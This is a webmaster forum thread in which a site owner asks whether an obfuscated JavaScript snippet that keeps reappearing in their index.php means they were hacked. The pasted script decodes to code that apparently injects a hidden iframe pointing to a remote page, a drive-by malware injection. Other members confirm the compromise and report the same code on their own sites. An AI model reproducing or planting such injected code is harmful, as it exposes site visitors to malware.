Anyone seens this code before? Have I been Hacked?

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • iwbabes
    Confirmed User
    • May 2005
    • 248

    #1

    Anyone seens this code before? Have I been Hacked?

    I have no freaken idea what this code is but on my site I keep getting this code showing when I view my sites source. I try deleting it from my index.php but it reappears after a while hope someone can help me as I dunno what to do.

    <script language="JavaScript">
    e = '0x00' + '22';str1 = "%99%C1%CA%D7%BD%D0%D1%DA%C9%C6%9E%83%D7%CA%D0%CA% C3%CA%C9%CA%D1%DA%9B%C5%CA%C1%C1%C6%CF%83%9F%99%CA %C7%D3%C2%CE%C6%BD%D0%D3%C0%9E%83%C5%D1%D1%CD%9B%8 C%8C%C1%CF%D7%8E%C0%CC%D6%CF%D1%C6%D3%8F%C0%CC%CE% 8C%D1%D3%C7%8C%83%BD%D4%CA%C1%D1%C5%9E%92%BD%C5%C6 %CA%C4%C5%D1%9E%92%9F%99%8C%CA%C7%D3%C2%CE%C6%9F%9 9%8C%C1%CA%D7%9F%BD%AE%AB";str=tmp='';for(i=0;i<st r1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCha rCode((tmp.charCodeAt(0)^e)-127);}document.write(str);
    </script>
    ICQ at 336912555
  • Bro Media - BANNED FOR LIFE
    MOBILE PORN: IMOBILEPORN
    • Jan 2004
    • 16502

    #2
    you got hacked

    Comment

    • directfiesta
      Too lazy to set a custom title
      • Oct 2002
      • 30157

      #3
      virtual or dedicated..

      If dedicated, run a trojan scanner...
      I know that Asspimple is stoopid ... As he says, it is a FACT !

      But I can't figure out how he can breathe or type , at the same time ....

      Comment

      • iwbabes
        Confirmed User
        • May 2005
        • 248

        #4
        Dedicated and already tried that last night but still reappeared. What I just did is chmodded the index file and some other files to 444 lets see what happens.
        ICQ at 336912555

        Comment

        • jerzeemedia
          Confirmed User
          • May 2004
          • 1532

          #5
          iwbabes,

          chmod'ing the file won't fix the issue, only tie the blindfold around your eyes. Hit me up on ICQ, I'll help ya out, I've dealt with this many-a-time.

          251095197
          Free Adult Blog Hosting
          http://www.waqn.com

          free porn
          www.mojohost.com - Best guys, best host.

          Comment

          • djroof
            JuicyDevils.gr Owner
            • Jan 2004
            • 25504

            #6
            damn... same code on my site too!!!!

            Comment

            • djroof
              JuicyDevils.gr Owner
              • Jan 2004
              • 25504

              #7
              virtual hosting

              Comment

              • Googled
                Registered User
                • Jun 2006
                • 33

                #8
                clearly vhosts.

                Comment

                • Furious_Male
                  Doing the grind since 99
                  • Oct 2003
                  • 16884

                  #9
                  I have been getting this on one of my hubs the past 2 days. This is on a Vhost as well. Oddly enough I don't see it on any of my other domains on that machine.

                  Does anyone have a clear answer on this yet. I obviously contacted my hosting company and I am waiting on a response but I was curious what caused this. Google produces little results other then this thread.
                  Living in Virtual Reality
                  Contact: Email (preferred): furiousmale .at. gmail - Skype: live:shanedws

                  Comment

                  • Furious_Male
                    Doing the grind since 99
                    • Oct 2003
                    • 16884

                    #10
                    Dup post due to lag.
                    Living in Virtual Reality
                    Contact: Email (preferred): furiousmale .at. gmail - Skype: live:shanedws

                    Comment

                    Working...